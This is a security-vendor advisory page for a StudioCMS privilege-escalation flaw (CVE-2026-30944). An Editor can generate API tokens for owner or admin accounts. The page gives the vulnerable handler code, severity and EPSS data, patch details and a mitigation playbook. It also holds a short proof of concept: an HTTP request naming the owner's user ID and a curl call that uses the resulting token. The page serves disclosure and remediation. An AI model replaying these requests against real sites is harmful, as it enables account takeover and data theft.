Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-667w-mmh7-mrr4 studiocms

HIGHFix: withstudiocms/studiocms@9eec9c3

GHSA-667w-mmh7-mrr4 is a high-severity (CVSS 8.8) CWE-639 vulnerability in studiocms. A fix is available for studiocms — see the affected versions and patch details below.

StudioCMS has Privilege Escalation via Insecure API Token Generation

Also known asCVE-2026-30944
Published
Mar 10, 2026
Updated
Mar 10, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-667w-mmh7-mrr4.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-667w-mmh7-mrr4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
studiocmsnpm
311downloads / week

Description

Summary

The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation.

Details

The API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that the authenticated user matches the target user ID nor checks if the caller has sufficient privileges to perform this action on behalf of another user. This is a classic BOLA vulnerability: the authorization check is limited to "is the user logged in?" instead of "is this user authorized to perform this action on this specific resource?"

Vulnerable Code

The following is the server-side handler for the POST /studiocms_api/dashboard/api-tokens endpoint: File: packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16–57) Version: [email protected]

POST: (ctx) =>
    genLogger('studiocms/routes/api/dashboard/api-tokens.POST')(function* () {
        const sdk = yield* SDKCore;

        // Check if demo mode is enabled
        if (developerConfig.demoMode !== false) {
            return apiResponseLogger(403, 'Demo mode is enabled, this action is not allowed.');
        }

        // Get user data
        const userData = ctx.locals.StudioCMS.security?.userSessionData;       // [1]

        // Check if user is logged in
        if (!userData?.isLoggedIn) {                                            // [2]
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Check if user has permission
        const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;  // [3]
        if (!isAuthorized) {
            return apiResponseLogger(403, 'Unauthorized');
        }

        // Get Json Data
        const jsonData = yield* readAPIContextJson<{
            description: string;
            user: string;                                                       // [4]
        }>(ctx);

        // Validate form data
        if (!jsonData.description) {
            return apiResponseLogger(400, 'Invalid form data, description is required');
        }

        if (!jsonData.user) {
            return apiResponseLogger(400, 'Invalid form data, user is required');
        }

        // [5] jsonData.user passed directly — no check against userData
        const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

        return createJsonResponse({ token: newToken.key });                     // [6]
    }),

Analysis The authorization logic has three distinct flaws:

  1. Insufficient permission gate [1][2][3]: The handler retrieves the session from ctx.locals.StudioCMS.security and only verifies that isEditor is true. This means any user with editor privileges or above passes the gate.
  2. Missing object-level authorization [4][5]: The user field from the JSON payload (line 54) is passed directly to sdk.REST_API.tokens.new() without any comparison against userData (the authenticated caller's identity from the session at [1]). There is no check such as jsonData.user === userData.id. This allows any authenticated user to specify an arbitrary target UUID and generate a token for that account.
  3. No target role validation [5]: Even if cross-user token generation were an intended feature, there is no check to prevent a lower-privileged user from generating tokens for higher-privileged accounts (admin, owner).

PoC

Environment The following user roles were identified in the application: User ID | Role 2450bf33-0135-4142-80be-9854f9a5e9f1 | owner eacee42e-ae7e-4e9e-945b-68e26696ece4 | admin 2d93a386-e9cb-451e-a811-d8a34bfdf4da | admin 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor a1585423-9ade-426e-a713-9c81ed035463 | visitor

Step 1 — Generate an API Token for the Owner (as Editor) An authenticated Editor sends the following request, specifying the owner user ID in the body:

POST /studiocms_api/dashboard/api-tokens HTTP/1.1
Host: <target>
Cookie: auth_session=<editor_session_cookie>
Content-Type: application/json
Content-Length: 74

{
  "user": "2450bf33-0135-4142-80be-9854f9a5e9f1",
  "description": "pwn"
}

Result: The server returns a valid JWT token bound to the owner account.

Step 2 — Use the Token to Access the API as Owner

curl -H "Authorization: Bearer <owner_jwt_token>" http://<target>/studiocms_api/rest/v1/users

Result: The attacker now has full API access with owner privileges, including the ability to list all users, modify content, and manage the application.

Impact

  • Privilege Escalation: Any authenticated user (above visitor) can escalate to owner level access.
  • Full API Access: The generated token grants unrestricted access to all REST API endpoints with the impersonated user's permissions.
  • Account Takeover: An attacker can impersonate any user in the system by specifying their UUID.
  • Data Breach: Access to user listings, content management, and potentially sensitive configuration data.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmstudiocmsall versions0.4.0npm install studiocms@0.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for studiocms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update studiocms to 0.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-667w-mmh7-mrr4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-667w-mmh7-mrr4 can be triaged on real exposure rather than presence alone.

Tailored to GHSA-667w-mmh7-mrr4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation. ## Details The API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that
O3 Security · Impact-Aware SCA

Is GHSA-667w-mmh7-mrr4 in your dependencies?

O3 Security finds GHSA-667w-mmh7-mrr4 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-667w-mmh7-mrr4: PrivEsc (High 8.8) | O3 Security